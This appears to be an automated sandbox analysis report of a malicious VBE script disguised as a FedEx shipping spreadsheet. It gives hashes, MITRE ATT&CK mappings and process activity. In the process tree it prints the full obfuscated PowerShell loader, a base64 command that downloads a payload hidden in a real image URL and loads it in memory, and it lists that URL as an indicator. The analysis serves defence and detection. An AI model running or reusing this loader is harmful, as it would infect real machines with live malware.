7fb38a221927c703a4fa3ad25a37e35b7d86e40b5b38dc941cde01f645faa12a

General

Target

fedEx shipping document.xlsx.vbe
Size

150KB
MD5

48567dd418e419f7719a3269ad3a22c1
SHA1

9d69ee9e60a316c98e7a87d90cdbfef4151175c4
SHA256

a4f42049afb44ee3a5a075fd716d4a271cc1ed18ec41dc12a076e6f5b79372f0
SHA512

a2cb14c886e74fc207035a6cd6598e5d841410d2a2f9603cddab4321417cb3811379be11ab085509afa255a6e6fd9b536ca9d11d17279f16c3c722e48fbd0eee
SSDEEP

3072:PZgFwtD6gOsxOinQA8T7IRaZgFwtD6gOsxOinQA8T7ITZgFwtD6gOsxOinQA8T7N:BgwkiOiQLHgwkiOiQLYgwkiOiQLN

Score

10^/10

discovery execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://res.cloudinary.com/dytflt61n/image/upload/v1733134947/bklpyseyeut4impw50n1.jpg%20

exe.dropper

https://res.cloudinary.com/dytflt61n/image/upload/v1733134947/bklpyseyeut4impw50n1.jpg%20

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
5	2548	powershell.exe
7	2548	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2548	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
2260	WScript.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2548	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2548	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2260 wrote to memory of 2548	2260	WScript.exe	31
PID 2260 wrote to memory of 2548	2260	WScript.exe	31
PID 2260 wrote to memory of 2548	2260	WScript.exe	31

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fedEx shipping document.xlsx.vbe"
1⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Suspicious use of WriteProcessMemory
PID:2260
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $librates = 'JG1pc2N1dHRpbmcgPSAnaHR0cHM6Ly9yZXMuY2xvdWRpbmFyeS5jb20vZHl0Zmx0NjFuL2ltYWdlL3VwbG9hZC92MTczMzEzNDk0Ny9ia2xweXNleWV1dDRpbXB3NTBuMS5qcGcgJzskdGltZSA9IE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQ7JHNwb3J1bGF0aW5nID0gJHRpbWUuRG93bmxvYWREYXRhKCRtaXNjdXR0aW5nKTskcmVkcml2ZSA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKCRzcG9ydWxhdGluZyk7JGdhdmVsa2luZCA9ICc8PEJBU0U2NF9TVEFSVD4+JzskaW52ZW50b3JpYWxseSA9ICc8PEJBU0U2NF9FTkQ+Pic7JHVuaWZ5aW5nID0gJHJlZHJpdmUuSW5kZXhPZigkZ2F2ZWxraW5kKTskY2hhaXJtYW5zID0gJHJlZHJpdmUuSW5kZXhPZigkaW52ZW50b3JpYWxseSk7JHVuaWZ5aW5nIC1nZSAwIC1hbmQgJGNoYWlybWFucyAtZ3QgJHVuaWZ5aW5nOyR1bmlmeWluZyArPSAkZ2F2ZWxraW5kLkxlbmd0aDskZGVtYWdvZ2ljYWxseSA9ICRjaGFpcm1hbnMgLSAkdW5pZnlpbmc7JGZ1cnJpbmVzcyA9ICRyZWRyaXZlLlN1YnN0cmluZygkdW5pZnlpbmcsICRkZW1hZ29naWNhbGx5KTskbWFyc2FsYXMgPSAtam9pbiAoJGZ1cnJpbmVzcy5Ub0NoYXJBcnJheSgpIHwgRm9yRWFjaC1PYmplY3QgeyAkXyB9KVstMS4uLSgkZnVycmluZXNzLkxlbmd0aCldOyRwYXJjaGlzaSA9IFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJG1hcnNhbGFzKTskZ2lydGhlZCA9IFtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoJHBhcmNoaXNpKTskYmVyZWZ0ID0gW2RubGliLklPLkhvbWVdLkdldE1ldGhvZCgnVkFJJyk7JGJlcmVmdC5JbnZva2UoJG51bGwsIEAoJ2IyZjA4OTNkZDlhNC0wNmZiLTMzNTQtZWY0YS0wMmM1Nzk3YT1uZWtvdCZhaWRlbT10bGE/dHh0LlBVVC9vL21vYy50b3BzcHBhLjY3N2QyLW9sb3BodGFrL2IvMHYvbW9jLnNpcGFlbGdvb2cuZWdhcm90c2VzYWJlcmlmLy86c3B0dGgnLCAnJGFzaGFtZWRseScsICckYXNoYW1lZGx5JywgJyRhc2hhbWVkbHknLCAnTVNCdWlsZCcsICckYXNoYW1lZGx5JywgJyRhc2hhbWVkbHknLCckYXNoYW1lZGx5JywnJGFzaGFtZWRseScsJyRhc2hhbWVkbHknLCckYXNoYW1lZGx5JywnJGFzaGFtZWRseScsJzEnLCckYXNoYW1lZGx5JykpOw==';$onerousness = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($librates));Invoke-Expression $onerousness
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2548

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

System Network Configuration Discovery

1

T1016

Internet Connection Discovery

1

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\CabF3B4.tmp

Filesize
70KB

MD5
49aebf8cbd62d92ac215b2923fb1b9f5

SHA1
1723be06719828dda65ad804298d0431f6aff976

SHA256
b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f

SHA512
bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

Download Submit
C:\Users\Admin\AppData\Local\Temp\TarF4B0.tmp

Filesize
181KB

MD5
4ea6026cf93ec6338144661bf1202cd1

SHA1
a1dec9044f750ad887935a01430bf49322fbdcb7

SHA256
8efbc21559ef8b1bcf526800d8070baad42474ce7198e26fa771dbb41a76b1d8

SHA512
6c7e0980e39aacf4c3689802353f464a08cd17753bd210ee997e5f2a455deb4f287a9ef74d84579dbde49bc96213cd2b8b247723919c412ea980aa6e6bfe218b

Download Submit
memory/2548-11-0x000007FEF5930000-0x000007FEF62CD000-memory.dmp

Filesize
9.6MB

Download
memory/2548-10-0x000007FEF5930000-0x000007FEF62CD000-memory.dmp

Filesize
9.6MB

Download
memory/2548-9-0x000007FEF5930000-0x000007FEF62CD000-memory.dmp

Filesize
9.6MB

Download
memory/2548-8-0x000007FEF5930000-0x000007FEF62CD000-memory.dmp

Filesize
9.6MB

Download
memory/2548-7-0x0000000002770000-0x0000000002778000-memory.dmp

Filesize
32KB

Download
memory/2548-6-0x000007FEF5930000-0x000007FEF62CD000-memory.dmp

Filesize
9.6MB

Download
memory/2548-5-0x000000001B170000-0x000000001B452000-memory.dmp

Filesize
2.9MB

Download
memory/2548-4-0x000007FEF5BEE000-0x000007FEF5BEF000-memory.dmp

Filesize
4KB

Download
memory/2548-46-0x000007FEF5930000-0x000007FEF62CD000-memory.dmp

Filesize
9.6MB

Download

Analysis

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